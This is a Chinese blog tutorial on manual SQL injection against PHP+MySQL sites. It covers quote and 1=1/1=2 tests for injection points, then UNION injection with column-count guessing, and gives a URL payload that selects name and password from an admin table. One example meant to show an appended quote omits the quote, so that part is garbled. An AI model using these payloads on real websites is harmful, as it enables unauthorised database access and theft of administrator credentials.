详细的解析PHP+MYSQL注入的发生事件
假设的目标网站 http://www.tiejiang.org /info.php?articleid=123(实际不可注入)
当articleid 变量取值为123 时,我们假设一下在服务器中会有怎样的代码运行?
1. SELECT * /* Select 函数读取信息*/
2. FROM infotable /* 从products 数据表中*/
3. WHERE id= 123 /* false condition 满足条件时*/
/*XXXX*/是注释符号,当程序运行时,/**/和中间的部分计算机会自动忽略。
实际系统执行的代码是这样的:
1. select * from infotable where id = 123
在这里,id 的取值是通过url 取值得来的“123”,那么如果我这样呢:
info.php?articleid=123
后面多了一个单引号,那么比较一下系统原本执行的语句有什么变化:
1. select * from infotable where id = 123;
2. select * from infotable where id = 123
最后多了一个引号,语法错误。
注:计算机编程得不到想要的结果,错误分两种,一种是语法错误,一种是逻辑错误。后面认真阅读你会慢慢明白区别开的,这也就是为什么判断是否为注入点的第一步要在网址后面加单引号的原因了(加单引号出错不能确定网址为注入点,只是判断的一个步骤而已),于是后面的1=1 和1=2 的目的也就清楚了。
1. select * from infotable where id = 123;
2. select * from infotable where id = 123 and 1 = 1;//事实上1 就是1,所以应该
返回正常页面
3. select * from infotable where id = 123 and 1 = 2;//事实上,计算机中1 永远也不等于2,发生逻辑错误,所以返回错误页面。手工注入通常会使用联合查询函数union 下面讲一下union 的用法。
union 注入的第一步通常是猜字段数。假设注入点是新闻页面,那么页面中执行的SQL 语句就是:
1. select title,date,author,news,comm from news where id = 12;
当你进行union 注入的时候,union 前面的语句和union 后面的语句,都是一个完整的SQL
语句,是可以单独执行的语句
但是,必须保证前后的字段数相同,例如上面这个语句
1. select title,date,author,news,comm from news where id = 12;
2. select title,date,author,news,comm from news where id = 12 union select
name,password,3,4,5 from admin;
3. //news 是新闻表段,admin 是管理员信息表段
4. //管理员信息表段明显没有union 前面news 表段里面包含的字段数多所以使用数字3 到5 替代,数字无固定格式,可以使1 2 和3,也可以是111111 和4435435或者干脆用null 空来代替。
所以,上面的注入语句在实际中就是这么构造:
1. info.php?id=12+union+select+name,password,3,4,5+from+admin
2. //SQL 注入中,加号用来代表空格的意思,因为有些浏览器会自动将空格转换成%20,
如果union 前面是5 个,而union 后面不是5 个,则会发生逻辑错误,显示错误页面。
由于程序员编写的程序我们并不知道他在数据库中设置了几个字段,所以通常我们都是先进行字段数的猜测,也就是:
1. info.php?id=12+union+select+1
2. info.php?id=12+union+select+1,2
3. info.php?id=12+union+select+1,2,3
4. info.php?id=12+union+select+1,2,3,4
5. info.php?id=12+union+select+1,2,3,4,5
6. //你也可以用order by 来猜,用法可以自己搜一下
一直这样猜到正确页面出来,没有了逻辑错误,也就表示字段数一致了,然后……后面……
这里仅仅提供思路。
原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/58267.html
php程序员相关文章
- 交互PHP与MySQL联动:实现数据交互(php与mysql数据库)
- 测试MySQL触发器构建:PHP测试实例(mysql触发器php)
- Mysql中定义变量的方法:SET @变量名=值(mysql如何定义变量)
- MySQL触发器:实现数据库自动化(mysql触发器)
- PHP调用MySQL过程实现数据存取(pb调用mysql过程)
- 数据从MySQL中随机抽取数据的方法(mysql随机抽取)
- 文档MySQL官方文档:指南和参考手册(mysql官方)
- 联合MySQL与PHP:双剑合璧(mysql与php)
- 从MySQL到PHP:展示表格数据(php显示mysql表)
- PHP轻松修改MySQL数据,实现数据高效处理(php修改mysql数据)
- PHP与MySQL连接失败如何解决?(php连接不上mysql)
- 解决MySQL空主键问题(mysql主键为空)
- 使用PHP连接MySQL数据库实现数据操作(php连接mysql类)
- MySQL连接池:PHP提供的快速访问方式(mysql连接池php)
- MySQL系统错误2:如何解决?(mysql发生系统错误2)
- MySQL表的映射关系探索(mysql表映射)
- MySQL事件的查看方法详解(mysql查看事件)
- 深入理解PHP操作MySQL类库的精髓(php操作mysql类库)
- MySQL读写锁:实现细致的数据控制(mysql读锁 写锁)
- PHP结合MySQL实现数据库事务锁定机制(php mysql 锁)
- 深入掌握MySQL表外键查询(mysql 查询表外键)
- 使用MySQL进行年龄管理,轻松解决数据存储难题(mysql年龄)
- MySQL与PHP结合抵御注入攻击(mysql php 注入)
- PHP图片上传至MySQL:实现快速可靠的数据存储(php图片上传mysql)
- 用CMD快速启动MySQL数据库(cmd启动运行mysql)
- MySQL存储容量达200万条记录带来的惊喜(20万条mysql记录)
- 回顾MySQL上一周重要事件与最新消息速览(mysql 上一周)
- MySQL限制特殊字符存储(mysql不能存特殊字符)
- MYSQL创建事件失败,解决方法大搜罗(mysql不能创建事件)
- 用Redis和PHP构建强大的商城(商城redis php)